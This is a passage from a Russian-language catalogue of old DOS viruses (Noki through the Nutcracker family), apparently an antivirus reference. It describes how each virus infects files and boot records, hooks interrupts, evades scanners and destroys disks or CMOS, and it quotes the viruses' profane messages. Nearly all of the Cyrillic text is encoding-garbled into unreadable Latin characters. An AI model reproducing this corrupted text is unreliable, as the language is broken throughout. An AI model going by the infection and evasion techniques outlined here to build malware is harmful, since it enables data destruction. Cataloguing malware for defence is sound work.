Âîçìîæåí âûâîä ñëó÷àéíûõ ñèìâîëîâ íà ýêðàí, çàâèñàíèå èëè ïåðåçàãðóçêà
ñèñòåìû, èçìåíåíèå êîíòðîëüíîé ñóììû CMOS-ïàìÿòè.
Noki.448
Îïàñíûé ðåçèäåíòíûé âèðóñ. Çàïèñûâàåò ñâîé êîä â 17 ñåêòîð æåñòêîãî
äèñêà, çàïèñûâàåò 39 áàéò ñâîåãî êîäà â îáëàñòü âåêòîðîâ ïðåðûâàíèé ïî
àäðåñó 0:210h, "ïåðåõâàòûâàåò" INT 21h. Ïðè ñòàðòå ôàéëîâ (f.4Bh Int
21h) âèðóñ ñ÷èòûâàåò 17 ñåêòîð, ñîäåðæàùèé âèðóñíûé êîä â îáëàñòü
âèäåîïàìÿòè BD00:0000, ïðîâåðÿåò ÿâëÿåòñÿ ëè çàïóñêàåìàÿ ïðîãðàììà EXE-
ôàéëîì è ñ÷èòûâàåò 448 áàéò èç îáëàñòè ñòåêà äàííîé ïðîãðàììû â ïàìÿòü.
Åñëè äàííûå 448 áàéò ñîñòîÿò èç íóëåâûõ áàéò, òî âèðóñ çàïèñûâàåò ñâîé
êîä â äàííîå ìåñòî ïðîãðàììíîãî ñòåêà, íå èçìåíÿÿ äëèíû ïîðàæåííîãî
ôàéëà. 23 ÷èñëà íå÷åòíîãî ìåñÿöà âèðóñ óíè÷òîæàåò MBR æåñòêîãî äèñêà.
Âèðóñ ñîäåðæèò ñòðîêó "NOKI", êîòîðàÿ âûïîëíÿåòñÿ êàê èíñòðóêöèè
ïðîöåññîðà.
Nomenklatura.1024
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ñîäåðæèò òåêñòû "Nomenklatura', "Òîçè
äåáåë èäèî² âìå±²î äà ¶åë¦íå ±î·íè²å ¦±²íè íà ìîìè·å²î, âïè ¦±²íè ²àì,
êºäå²î ²°¬áâà¸å äà ±ëîæè ±ºâ±åì ä°¦ãî íå¹î".
Noon.1163
Íåîïàñíûé ðåçèäåíòíûé âèðóñ.  12.00 èìèòèðóåò ñèãíàëû òî÷íîãî âðåìåíè
ðàäèîïðîãðàììû "Ìàÿê". Ñîäåðæèò çàøèôðîâàííûé òåêñò "byMH&MHsoftware".
NoRemorse.1319
Îïàñíûé íåðåçèäåíòíûé øèôðîâàííûé âèðóñ. COM-ôàéëû çàðàæàåò, âíåäðÿÿ
ñâîé êîä â íà÷àëî ôàéëîâ. EXE-ôàéëû çàðàæàåò, êàê âèðóñ-ñïóòíèê,
ïðèñâàèâàåò îðèãèíàëüíîìó EXE-ôàéëó ðàñøèðåíèå WIT è ñîçäàåò âèðóñíûé
ôàéë ñ èìåíåì è ðàñøèðåíèåì èñõîäíîãî ôàéëà. Â EXE-ôàéëû, èìåþùèå
ðàñøèðåíèå COM (êðîìå ôàéëà CO*.COM), âèðóñ çàïèñûâàåò òðîÿíñêèé êîä,
êîòîðûé âûâîäèò ñîîáùåíèå "Û²±°±²Û NO REGRET Û²±°±²Û" è "âåøàåò"
ñèñòåìó. 15 àïðåëÿ èëè 50-îå ïîêîëåíèå âèðóñà óíè÷òîæàåò ñîäåðæèìîå
CMOS - ïàìÿòè, âûâîäèò òåêñò "Êîðàáåëêà - rulez forever !" è
"ïåðåçàãðóæàåò" ñèñòåìó. Óíè÷òîæàåò ôàéëû: *.°*,chklist.*,anti-vir.dat,
msav.chk, *.avb, *.log, tbscan.sig, smartchk.cps, *.ms. Ñîäåðæèò òåêñò
"Virus NoRemorse v1.8. Copyright (c) by Wit 1996.".
Notice.974, 987
Íåîïàñíûå ðåçèäåíòíûå øèôðîâàííûå âèðóñû. Â âîñêðåñåíüå âûâîäÿò òåêñòû:
Notice.974:
10 íoÿápÿ 1982 ãoäa ïepecòaëo áèòücÿ cepäöe
Ãeíepaëüíoão Cekpåòapÿ ÖK KÏCC,
Ãepoÿ Coöèaëècòè÷eckîãî Tpyäa,
÷eòûpeæäû Ãepoÿ Coâeòckoão Coþça
Ëeoíèäa Èëüè÷a Ápeæíeâa ...
Notice.987:
BRYANSK INGENERING UNEVERSISTET
FUCK,FUCK,FUCK and FUCK
YOR FUCK MY BRAIN
GOOD BAY MY FREND !!!!!
GOOD LUCK IN WAR (LOW HAKER)
November17.768
Î÷åíü îïàñíûé ðåçèäåíòíûé âèðóñ.  íîÿáðå ïîñëå 17 ÷èñëà óíè÷òîæàåò
ñîäåðæèìîå 8 ïåðâûõ ñåêòîðîâ òåêóùåãî äèñêà.
Npuxogum.1176, 2025, 2036
Íåîïàñíûå ðåçèäåíòíûå âèðóñû. 1 àïðåëÿ ïðîèçâîäÿò âûâîä íà ýêðàí
íåêîòîðîé ãðàôè÷åñêîé øóòêè.
NRLG.based
Äàííûå âèðóñû ñêîíñòðóèðîâàíû ñ ïîìîùüþ âèðóñíîãî êîíñòðóêòîðà NRLG
(NuKE RANDOMIC LIFE GENERATOR), ïîçâîëÿþùåãî ñîçäàâàòü ðåçèäåíòíûå
ïîëèìîðôíûå âèðóñû, çàðàæàþùèå COM-ôàéëû. À òàêæå ïîçâîëÿþò çàäàâàòü
íàëè÷èå â âèðóñàõ âñåâîçìîæíûõ òåêñòîâûõ ñòðîê, âèäåîýôôåêòîâ è
äåñòðóêòèâíûõ ôóíêöèé.
Nsd.266
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Èíîãäà âûâîäèò òåêñò "SYSTEM ERROR: DMA
DENIED." è, êàê ïðàâèëî, "âåøàåò" ñèñòåìó. Òàêæå èìååòñÿ ñòðîêà "NSD".
Nsi.1509
Î÷åíü îïàñíûé ðåçèäåíòíûé âèðóñ. Óíè÷òîæàåò *.PA? - ôàéëû. Ñîäåðæèò
òåêñòû "I'm sorry", "In & For NSI", "Nikolaev".
NTU.Cawber
Íåîïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. Ñîäåðæèò òåêñòû:
T4
Griffe
T4 virion ÄÄÄÄÄ by NTU BACTERIOPHAGE LAB
There Once Was A King, Who Called For The Spring
For His World Was Still Covered In Snow
But The Spring Had Not Been, For He Was Wicked And Mean ...
Here I'm Sitting And It's Getting Cold
The Morning Rains Against My Window Pane
While The World Looks So Cold And Grey
In My Mind I Dream Away
Then I'm On My Way To Tropic Islands
You'd Always Say I Was A Dreamer
You Were Right
What Do I Say When It's All Over ?
And SORRY Seems To Be The Hardest Word ...
NTU.L'amour
Îïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé ñòåëñ-âèðóñ. 13 ñåíòÿáðÿ óíè÷òîæàåò
ñîäåðæèìîå CMOS-ïàìÿòè è ñåêòîðîâ æåñòêîãî äèñêà. Ñîäåðæèò òåêñò
"L'AMOUR v1.1 by NTU BACTERIOPHAGE LAB S/N TM1-", äàëåå èäåò íîìåð
ïîêîëåíèÿ âèðóñà.
NuKE.Pox.609
Îïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. 24 ÷èñëà ïðè íàæàòèè íà êëàâèøó
Del âèðóñ ôîðìàòèðóåò 32 öèëèíäðà æåñòêîãî äèñêà. Ñîäåðæèò òåêñò "(c)
Rock Steady/NuKE".
Nuker.Excess
Îïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. Èíîãäà ìîæåò âûâåñòè íà ýêðàí
òåêñò:
ÖÄ´DANGER!ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ·
º You are infected by ExCESS Virus (c) 1995 by The Nuker º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
º I have destroyed your FATs but I have only ONE copy in º
º my data area. IF YOU REBOOT NOW ALL DATA WILL BE LOST. º
º If this isn`t enough, I have altered your Master Boot º
º Record with a formatting routine in order to low-level º
º format the primary Hard Disk when executed. If you are º
º so dude and you don`t believe me, reboot now and look º
º at your hard disk light spinning... If you don`t want º
º to loose all your data then try to guess a number from º
º 0 to 9 and pray for your answer to be correct, else... º
ÓÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĽ
You have 3 tries to guess the correct number!!!
Enter the number:
Ïîñëå ÷åãî âèðóñ äàåò òðè ïîïûòêè íà ââîä íåêîòîðîé öèôðû, êîòîðóþ
ñðàâíèâàåò ñî ñâîèì çíà÷åíèåì îò 0 äî 9, ïîëó÷åííûì ñëó÷àéíûì îáðàçîì.
Åñëè ïîïûòêà íåóäà÷íà, òî âèðóñ âûâîäèò ñîîáùåíèå:
Sorry, you didn`t entered the correct number!
Retry, and hope you lucky!!!
Enter the number:
Åñëè öèôðà ñîâïàëà â îäíîé èç òðåõ ïîïûòîê, òî âèðóñ âûâîäèò:
You fucking SHIT!!! You guessed the right number!!!
You are safe this time but next will come very soon
and you will not be so lucky!!!
Åñëè æå âñå 3 ïîïûòêè áûëè íåóäà÷íûìè, òî âûâîäèòñÿ ñëåäóþùèé òåêñò:
Hum... you are lucky this time...
Please wait while reconstructing disk structure...
Ïîñëå ÷åãî âèðóñ óíè÷òîæàåò èíôîðìàöèþ íà ïåðâîì æåñòêîì äèñêå è
âûâîäèò ñîîáùåíèå:
I WAS JOKING! Your Hard Disk has been fucked up!!!
Thank you for choosing another product of...
·T·h·e· ·N·u·k·e·r·
Nuker.Trance.1688, 1982
Nuker.Trance.1982 - îïàñíûé âèðóñ. Èíîãäà ìîæåò çàïèñàòü â ñëó÷àéíûé
ñåêòîð äèñêà ñòðîêó "This sector has been fucked up courtesy of Trance¤
Virus (c) 1995 by The Nuker". Nuker.Trance.1688 1-ãî ÷èñëà ïðîèçâîäèò
"îñûïàíèå" ýêðàíà (ñì. Cascade.1701), ñîäåðæèò ñòðîêó "Trance Virus (c)
1995 by The Nuker".
Nutcracker.512 (1,2)
Îïàñíûå çàãðóçî÷íûå âèðóñû. Øèôðóþò ïåðâûé ñåêòîð ïîäêàòàëîãîâ (ñì.
Nutcracker.AB2.6425).
Nutcracker.AB1.1924, 2244, 2620, 2722
Îïàñíûå ïîëèìîðôíûå ðåçèäåíòíûå âèðóñû. Çàðàæàþò COM è EXE-ôàéëû òàêæå,
êàê è âèðóñû Nutcracker.AB2. Nutcracker.AB1.2620, 2722 òàêæå øèôðóþò
çàãîëîâêè EXE-ôàéëîâ ïî ïðèíöèïó âèðóñîâ Nutcracker.AB2.
Nutcracker.AB1.2620, 2722 âíåäðÿþò â SYS è BIN-ôàéëû òðîÿíñêèé êîä,
êîòîðûé 12 ÷èñëà ìåñÿöà óíè÷òîæàåò ñîäåðæèìîå CMOS - ïàìÿòè. Âèðóñ
Nutcracker.AB1.2244 óíè÷òîæàåò ñîäåðæèìîå CMOS-ïàìÿòè, åñëè åìó íå
óäàåòñÿ ïîëó÷èòü äîñòàòî÷íûé ó÷àñòîê ñâîáîäíîé ÷åðåç ôóíêöèè óïðàâëåíèÿ
ïàìÿòüþ (f.48h, 49h, 4Ah Int 21h). Nutcracker.AB1.1924 èíîãäà çàïðåùàåò
èëè ðàçðåøàåò ïåðåðèñîâêó ýêðàíà (video refresh). Nutcracker.AB1.2244,
2620 ñîäåðæàò òåêñò "ANTAREX", à òàêæå:
Nutcracker.AB1.1924 -
Dedicated to N.L.A. - my little baby.
(c) by Kind Nutcracker(AB1)
Nutcracker.AB1.2244 -
(c) by Kind Nutcracker(AB1)
Nutcracker.AB1.2620 -
Run me, pleace!
(c) by Nutcracker(AB1)
Nutcracker.AB1.2722 -
Nomina sunt odiosa
(c) by Nutcracker(AB1)
Nutcracker.AB2.2890,2990,3021,3427,4540,5375,5413,5440,5589,6082,6100,6425,
6500,6727,6982,6996,7008(1,2),7033(1,2),7034,7640
Î÷åíü îïàñíûå ïîëèìîðôíûå ôàéëîâî-çàãðóçî÷íûå âèðóñû. Çàðàæàþò COM,EXE,
BIN, SYS-ôàéëû, à òàêæå ãëàâíóþ çàãðóçî÷íóþ çàïèñü (MBR) æåñòêîãî äèñêà
è çàãðóçî÷íûå ñåêòîðà (Boot Sectors) äèñêåò. Äàííûå âèðóñû èìåþò
äîâîëüíî ìîùíûé ïîëèìîðôíûé ìåõàíèçì. Èíôèöèðîâàííûå COM è EXE-ôàéëû
(à òàêæå SYS-ôàéëû äëÿ âèðóñîâ äëèíîé áîëåå 6425 áàéò) ñîäåðæàò
íåñêîëüêî äåêðèïòîðîâ, ïîî÷åðåäíî ðàñøèôðîâûâàþùèõ äðóã äðóãà. Ïðè
ðàñøèôðîâêå îñíîâíîãî òåëà âèðóñàìè äëèíîé 2890,2990,3021, 3427,5375,
5413, 5440, 5589, 6082 è 6100 áàéò èñïîëüçóåòñÿ âíóòðåííèé êîíâåéåð
ïðîöåññîðà, ïîýòîìó íà êîìïüþòåðàõ ñ ïðîöåññîðîì Pentium äàííûå âèðóñû
ðàñïðîñòðàíÿòüñÿ íå ñìîãóò. EXE-ôàéëû ìåíåå 64K âèðóñû çàðàæàþò,
ïðåâðàùàÿ â ôîðìàò COM-ôàéëà. Ïðè ñòàðòå âèðóñà èç òàêîãî ôàéëà, ïî
îêîí÷àíèè ñâîåé ðàáîòû, ïðîèçâîäèòñÿ äîïîëíèòåëüíàÿ íàñòðîéêà
ïåðåìåùàåìûõ ýëåìåíòîâ (relocations). Ïðè çàðàæåíèè COM è EXE-ôàéëîâ
âèðóñû âíåäðÿþò ñâîé êîä â ñåðåäèíó ôàéëîâ, çàøèôðîâàâ è ïåðåíåñÿ
ïðåäâàðèòåëüíî ïðîãðàììíûé êîä â êîíåö ôàéëîâ. Â BIN è SYS-ôàéëû âèðóñû
çàïèñûâàþòñÿ â èõ êîíåö, íå øèôðóÿ ñâîé êîä (âèðóñû äëèíîé áîëåå 6425
áàéò - øèôðóþò). Ïðè ïåðâîì ñòàðòå âèðóñû çàðàæàþò MBR "âèí÷åñòåðà" è
îòäàþò óïðàâëåíèå ïðîãðàììå-âèðóñîíîñèòåëþ. Ïðè çàãðóçêå ñèñòåìû ñ
òàêîãî äèñêà, âèðóñû "ïåðåõâàòûâàþò" INT 1Ch, æäóò çàãðóçêè DOS è
"ïåðåõâàòûâàþò" INT 13h,1Ch,21h, 28h. Ïðè ñòàðòå ïåðâîé ïðîãðàììû ÷åðåç
ôóíêöèþ EXEC (f.4Bh Int 21h) âèðóñû ïûòàþòñÿ ïîëó÷èòü ñâîáîäíûé ó÷àñòîê
ïàìÿòè ÷åðåç ôóíêöèþ ðàñïðåäåëåíèÿ ïàìÿòè (f.48h Int 21h),êóäà êîïèðóþò
è îñòàâëÿþò ðåçèäåíòíûì ñâîé êîä. Ïî âîçìîæíîñòè âèðóñû ïûòàþòñÿ
óñòàíîâèòü ñâîè ðåçèäåíòíûå êîïèè â îáëàñòü UMB. Int 1Ch èñïîëüçóåòñÿ
èíîãäà âèðóñàìè äëÿ ïðîèãðûâàíèÿ ìåëîäèè "ß íà ñîëíûøêå ëåæó..." èç
èçâåñòíîãî ìóëüòôèëüìà. Íåïîñðåäñòâåííóþ îïàñíîñòü äëÿ ïîëüçîâàòåëÿ
ïðåäñòàâëÿåò "ïåðåõâàò" âèðóñàìè INT 13h (îïåðàöèè ñ äèñêîì). Äàííîå
ïðåðûâàíèå âèðóñû èñïîëüçóþò äëÿ çàðàæåíèÿ ôëîïïè-äèñêîâ. À òàêæå äëÿ
çàøèôðîâêè íåêîòîðîé èíôîðìàöèè íà äèñêàõ. Ïðè ÷òåíèè èëè çàïèñè
ñåêòîðîâ âèðóñû (Nutcracker.AB2.2890, 2990, 3021, 3427, 4540) ïðîâåðÿþò
ðàâíî ëè ïåðâîå ñëîâî â áóôåðå çíà÷åíèþ "MZ"- ñèãíàòóðå EXE-ôàéëîâ.Åñëè
äàííîå ñëîâî äåéñòâèòåëüíî ÿâëÿåòñÿ "MZ", òî âèðóñû ïðîâåðÿþò åùå äâà
ïîñëåäóþùèõ ñëîâà íà ñîîòâåòñòâèå äàííîãî ñåêòîðà EXE-ôàéëó, ðàçìåð
êîòîðîãî áîëåå, ÷åì 65024 áàéòà. Åñëè äàííîå óñëîâèå âûïîëíÿåòñÿ, òî
âèðóñû çàøèôðîâûâàþò äàííûé ñåêòîð â áóôåðå (512 áàéò) ïî îïðåäåëåííîìó
çàêîíó, èçìåíÿþò ñèãíàòóðó "MZ" íà "AB" è çàïèñûâàþò åãî íà äèñê. Ïðè
÷òåíèè òàêîãî ñåêòîðà, âèðóñû ïðîâåðÿþò ðàâíî ëè ïåðâîå ñëîâî "AB" è
åñëè äà, òî ïûòàþòñÿ ðàñøèôðîâàòü äàííûé ñåêòîð ïî èçâåñòíîìó çàêîíó.
Òàêèì îáðàçîì, ïðè ÷òåíèè èëè çàïóñêå EXE-ôàéëîâ ïðîèñõîäèò çàøèôðîâêà
çàãîëîâêîâ (512 áàéò) äàííûõ ôàéëîâ íà äèñêå,íî â ïàìÿòè êîìïüþòåðà âñå
âûãëÿäèò "äîñòàòî÷íî ïðèëè÷íî", ò.å., EXE-ôàéëû ÷èòàþòñÿ, çàïóñêàþòñÿ è
ò.ä., êàê íè â ÷åì íè áûâàëî. Ïðè êîïèðîâàíèè æå òàêèõ ôàéëîâ ñ
"áîëüíîãî" êîìïüþòåðà íà "çäîðîâûé", äàííûå ôàéëû îêàçûâàþòñÿ
íåðàáîòîñïîñîáíûìè è, ñêîðåå âñåãî, "çàâåñÿò" ñèñòåìó. Ïðè îáíàðóæåíèè
âèðóñîâ ñ äëèíàìè 2890, 2990, 3021, 3427, 4540 â çàãðóçî÷íîì ñåêòîðå,
ïðîãðàììà Dr.Web íà÷íåò ñêàíèðîâàíèå ñåêòîðîâ âñåãî äèñêà (èëè âñåõ
æåñòêèõ äèñêîâ) äëÿ ïîèñêà òàêèõ çàøèôðîâàííûõ ñåêòîðîâ è ïðè
íàõîæäåíèè îíûõ, ðàñøèôðóåò èõ. Äàííàÿ îïåðàöèÿ äëÿ ìîèõ 4-åõ æåñòêèõ
äèñêîâ åìêîñòüþ áîëåå 4G äëèëàñü îêîëî 20 ìèíóò è íå áûëî îáíàðóæåíî íè
îäíîé ëîæíîé ðàñøèôðîâêè. Íî ñëåäóåò íàïîìíèòü, ÷òî ðàñøèôðîâêà òàêèõ
ñåêòîðîâ ïðîèçâîäèòñÿ ñðàçó æå ïîñëå óíè÷òîæåíèÿ âèðóñà â çàãðóçî÷íîì
ñåêòîðå äèñêà. Ïðè ñêàíèðîâàíèè òàêèõ çàøèôðîâàííûõ ôàéëîâ â
íåçàðàæåííîé ñèñòåìå äåòåêòèðîâàíèå ýòèõ ôàéëîâ ñ ñèãíàòóðîé "AB" è
ðàñøèôðîâêà èõ ïðîèçâîäèòüñÿ ÍÅ ÁÓÄÓÒ. Âèðóñû äëèíîé 6425, 6500, 6727,
6982, 6996, 7008, 7033, 7640 áàéò ÿâëÿþòñÿ ïîëèìîðôèêàìè òàêæå è â
çàãðóçî÷íûõ ñåêòîðàõ. Òàêæå âìåñòî çàãîëîâêîâ EXE-ôàéëîâ îíè øèôðóþò
ïåðâûé ñåêòîð ïîäêàòàëîãîâ ñ ïîìîùüþ àäðåñà âåêòîðà INT 00,íàõîäÿùåãîñÿ
â ÏÇÓ ROM BIOS. Ïðè íàõîæäåíèè âèðóñîâ â ïàìÿòè ïðîãðàììà Dr. Web
èñïðàâëÿåò âèðóñíûé ðåçèäåíòíûé êîä òàêèì îáðàçîì, ÷òî ïðè ñêàíèðîâàíèè
âñåõ ôàéëîâ âî âñåõ êàòàëîãàõ ïðîèñõîäèò âîññòàíîâëåíèå çàøèôðîâàííûõ
äàííûõ íà äèñêàõ. Òîëüêî íåîáõîäèìî ïðîèçâåñòè ñêàíèðîâàíèå äèñêîâ áåç
ïåðåçàãðóçêè ñèñòåìû ïîñëå îáåçâðåæèâàíèÿ âèðóñíîãî êîäà â ïàìÿòè
êîìïüþòåðà. Âèðóñû äëèíîé 6082,6100,6500,6727 áàéò ïðîèçâîäÿò óïàêîâêó
áëîêà çàðàæàåìîãî ôàéëà, ïîýòîìó äëèíà ôàéëà ïîñëå çàðàæåíèÿ äàííûìè
âèðóñàìè ìîæåò èçìåíèòüñÿ íà âåëè÷èíó ìåíüøóþ,÷åì äëèíà âèðóñíîãî êîäà.
Âèðóñû ñîäåðæàò íåêîòîðûå îøèáêè, â ðåçóëüòàòå êîòîðûõ âîçìîæíî
ïîÿâëåíèå ñèñòåìíîãî ñîîáùåíèÿ "Divide overflow" ïîñëå çàïóñêà
íåêîòîðûõ ôàéëîâ, à òàêæå âîçìîæíî "çàâèñàíèå" ñèñòåìû ïîñëå ñòàðòà
èíôèöèðîâàííûõ ïðîãðàìì. Ïðè çàðàæåíèè ãëàâíîé çàãðóçî÷íîé çàïèñè MBR
æåñòêîãî äèñêà, ïîñëå ïåðâîé ïåðåçàãðóçêè ñèñòåìû ñ íåå, âèðóñû (2990,
3021,3427,4540 áàéò) øèôðóþò ÷àñòü çàãðóç÷èêà-47 áàéò ñ ïîìîùüþ ïåðâîãî
áàéòà âåêòîðà INT 00, íàõîäÿùåãîñÿ â ÏÇÓ ROM BIOS. Nutcracker.AB2.4540
7 àïðåëÿ âûâîäèò íà ýêðàí òåêñò "the Sun is gone but I have a light..."
Nutcracker.AB2.6996 12 ÿíâàðÿ âûâîäèò òåêñò "Nutcracker(AB2): lives
forever!", Nutcracker.AB2.6982 â ýòîò æå äåíü ïûòàåòñÿ îòôîðìàòèðîâàòü
ïåðâûé æåñòêèé äèñê. Nutcracker.AB2.7033 12 ÿíâàðÿ "âåøàåò" ñèñòåìó.
Nutcracker.AB2.7008 12 ÷èñëà ìåñÿöà ìîæåò óíè÷òîæèòü èíôîðìàöèþ íà
æåñòêîì äèñêå êîìïüþòåðà. Nutcracker.AB2.7640 12 ÿíâàðÿ ïå÷àòàåò
ñîäåðæèìîå íà ïðèíòåð (INT 5). À òàêæå ðåçèäåíòíàÿ êîïèÿ âèðóñà äëèíîé
7640 áàéò êîíòðîëèðóåò INT 27h è ïðè ïîïûòêå êàêîé-òî ïðîãðàììû (ÿ íå
ñìîã âûÿñíèòü, ÷òî ýòî çà ïðîãðàììà) îñòàòüñÿ ðåçèäåíòíî â ïàìÿòè,
âèðóñ ïûòàåòñÿ ôîðìàòèðîâàòü äîðîæêè æåñòêîãî äèñêà.Nutcracker.AB2.2890
âíåäðÿåò â SYS è BIN-ôàéëû òðîÿíñêèé êîä, êîòîðûé ìîæåò óíè÷òîæèòü
ñîäåðæèìîå CMOS - ïàìÿòè. Nutcracker.AB2.6100 ïîñëå 555 çàãðóçîê ñ
æåñòêîãî äèñêà óíè÷òîæàåò ñîäåðæèìîå CMOS-ïàìÿòè è ïî 100 ïåðâûõ
ñåêòîðîâ äâóõ æåñòêèõ äèñêîâ. Âèðóñû ñîäåðæàò çàøèôðîâàííûå òåêñòû:
Nutcracker.AB2.2990,3021,6082,6982,7008,7033: Nutcracker(AB2)
Nutcracker.AB2.7640: Nutcracker/AB2
Nutcracker.AB2.3427,4540: Universal Pathologic Device by Nutcracker(AB2)
Nutcracker.AB2.5375, 5413, 5440, 5589:
This Universal Pathologic Device dedicated to Ëþáîâü Í.
I hate the envy, the meanness, the riches, the trea, the bluntness,
the ignorance, the lie, the servility, the mistrust and the hatred.
Nutcracker(AB2)
Nutcracker.AB2.6100: Nutcracker(AB2)
Ëþáîâü Í.
Nutcracker.AB2.6425,6500,6727 èíîãäà âûâîäÿò íà ýêðàí òåêñò:
Nutcracker(AB2): Welcome to the Hell
Nutcracker.AB2.2990, 3021, 3427 íå çàðàæàþò ôàéëû, èìÿ êîòîðûõ
çàêàí÷èâàåòñÿ íà NF, ADINF, âèäèìî. Nutcracker.AB2.6425, 6500, 6727 íå
çàðàæàþò ñëåäóþùèå ôàéëû SCAN, CLEAN, VSAFE, NAV, AVP,AIDS,GUARD,NOD,
F-PROT,DESINF,VIRSTOP,VSHIELD,FINDVIRU,VIVERIFY,TB,RKSD,COMMAND,SETVER,
CHKLIST,ADINF,SMARTCHK,ANTI-VIR,CHKDSK,PKZIP,PKLITE,WEB,DRWEB.
Nutcracker.AB3
Îïàñíûé ðåçèäåíòíûé âèðóñ. 12 ÿíâàðÿ è 23 èþëÿ óíè÷òîæàåò ïî 40
ñåêòîðîâ ëîãè÷åñêèõ äèñêîâ C:, D:, E:, F:, G:. Çàïîìèíàåò â ñâîåì òåëå
äàòó ñòàðòà âèðóñà è ÷åðåç 23 äíÿ çàìåäëÿåò âûâîä íà ýêðàí,
"ïåðåõâàòûâàåò" INT 10h (âûâîä íà ýêðàí) è ïðîèçâîäèò õîëîñòîé öèêë.
Ñîäåðæèò òåêñò "Nutcracker(AB3)".
Nutcracker.AB4
Î÷åíü îïàñíûé ðåçèäåíòíûé âèðóñ. Çàïèñûâàåò â MBR æåñòêîãî äèñêà
"òðîÿíñêèé" êîä, êîòîðûé 12 ÿíâàðÿ è 23 èþëÿ ôîðìàòèðóåò ïåðâûå äîðîæêè
ïåðâîãî è âòîðîãî æåñòêîãî äèñêîâ. Òàêæå ïðè ñòàðòå ëþáîé ïðîãðàììû,
ðåçèäåíòíàÿ êîïèÿ âèðóñà óâåëè÷èâàåò ñ÷åò÷èê, íàõîäÿùèéñÿ â çàãðóçî÷íîì
ñåêòîðå òåêóùåãî äèñêà ïî ñìåùåíèþ 10.Ïðè äîñòèæåíèè ñ÷åò÷èêîì çíà÷åíèÿ
64, âèðóñ îáíóëÿåò åãî è ñîçäàåò íà äàííîì ëîãè÷åñêîì äèñêå
ïñåâäîñáîéíûé êëàñòåð. Ñîäåðæèò òåêñò "Sombre Nutcracker(AB4).
Nutcracker.AB5.2725, 2900, 3139
Î÷åíü îïàñíûå ðåçèäåíòíûå âèðóñû. Ïûòàþòñÿ áûòü íåâèäèìûìè. Ïðè êàæäîé
16 ñòàðòóþùåé ïðîãðàììû óíè÷òîæàþò îäèí ñëó÷àéíûé ñåêòîð íà òåêóùåì
äèñêå. Óíè÷òîæàþò ôàéëû ñ ðàñøèðåíèÿìè *.MS è *.?AS è òàáëèöû ðåâèçîðà
äèñêà ADinf. Íå çàðàæàþò ôàéëû ñ èìåíàìè, íà÷èíàþùèìèñÿ íà IB è CO.
Çàïèñûâàåò â MBR æåñòêîãî äèñêà "òðîÿíñêèé" êîä, êîòîðûé ïîñëå 512
çàãðóçîê ñ æåñòêîãî äèñêà ìîæåò óíè÷òîæèòü èíôîðìàöèþ íà æåñòêîì äèñêå
è â CMOS-ïàìÿòè è âûâåñòè ñîîáùåíèå:
Gloomy Nutcracker(AB5) from the city of Brest(BY) with best wishes!
Ñîäåðæàò òåêñò "Only the Hope dies last!".
Nutcracker.AB6 (1-4)
Î÷åíü îïàñíûå ðåçèäåíòíûå ôàéëîâî-çàãðóçî÷íûå âèðóñû.12 ÿíâàðÿ ïûòàþòñÿ
îòôîðìàòèðîâàòü ïåðâûé æåñòêèé äèñê,ïîñëå ÷åãî âûâîäÿò íà ýêðàí òåêñòû:
Nutcracker.AB6 (1) - "Dreary Nutcracker(AB6)"
Nutcracker.AB6 (2) - "Dreary Nutcracker(AB6) Lives"
Nutcracker.AB6 (3) - "Dreary Nutcracker(AB6) Lives Again"
Nutcracker.AB6 (4) - "Dreary Nutcracker(AB6) lives forever !".
Èíîãäà èçìåíÿþò ñèìâîëû, âûâîäèìûå íà ïå÷àòü, ëèáî ñîâñåì áëîêèðóþò
âûâîä íà ïðèíòåð. Óäàëÿþò ôàéëû, èìåþùèå ðàñøèðåíèÿ FW, ?AS è MS (â
ïîñëåäíåì âàðèàíòå âèðóñ ñîäåðæèò îøèáêó). Ñîäåðæàò çàøèôðîâàííûé òåêñò
"Ëþáîâü Í.".
Nutcracker.AB7 (1,2)
Íåîïàñíûå ðåçèäåíòíûå ôàéëîâî-çàãðóçî÷íûå âèðóñû. Çàðàæàþò MBR æåñòêîãî
äèñêà, çàãðóçî÷íûå ñåêòîðà äèñêåò è EXE-ôàéëû, ïðè èõ ñîçäàíèè. EXE-
ôàéëû çàðàæàþòñÿ, åñëè èõ äëèíà íå áîëåå 64K. Âèðóñû ïåðåâîäÿò èõ â
ôîðìàò COM-ôàéëà, âíåäðÿÿ â íà÷àëî çàãîëîâêà JUMP íà ñâîå òåëî è â
äàëüíåéøåì ñàìîñòîÿòåëüíî íàñòðàèâàÿ àäðåñà òàáëèöû ïåðåìåùàåìûõ
ñèìâîëîâ. Ïðè çàãðóçêå ñ èíôèöèðîâàííîãî äèñêà âèðóñû îñòàâëÿåò ñâîþ
êîïèþ ðåçèäåíòíî â ïàìÿòè (ïî âîçìîæíîñòè â îáëàñòè UMB) è
ïåðåõâàòûâàþò INT 9,13h,15h,21h,2Fh,40h. Ïðè íàæàòèè íà Ctrl-Alt-Del
âèðóñû ïðîâåðÿþò íàëè÷èå ñâîåãî êîäà â MBR è çàðàæàþò åãî. Ïðè âûçîâå
ôóíêöèè AH=13h INT 2Fh (ïîëó÷èòü àäðåñ äèñêîâîãî äðàéâåðà) âèðóñû
ñàìîñòîÿòåëüíî óäàëÿþò ñåáÿ èç MBR. 12 ÷èñëà íå÷åòíîãî ìåñÿöà ïðè
çàãðóçêå ñèñòåìû âûâîäÿò ñîîáùåíèå "I'm Nutcracker(AB7)!", æäóò
íàæàòèÿ íà êëàâèøó è ïðîäîëæàþò çàãðóçêó ñèñòåìû.
Nutcracker.Info.2133, 2142, 2259
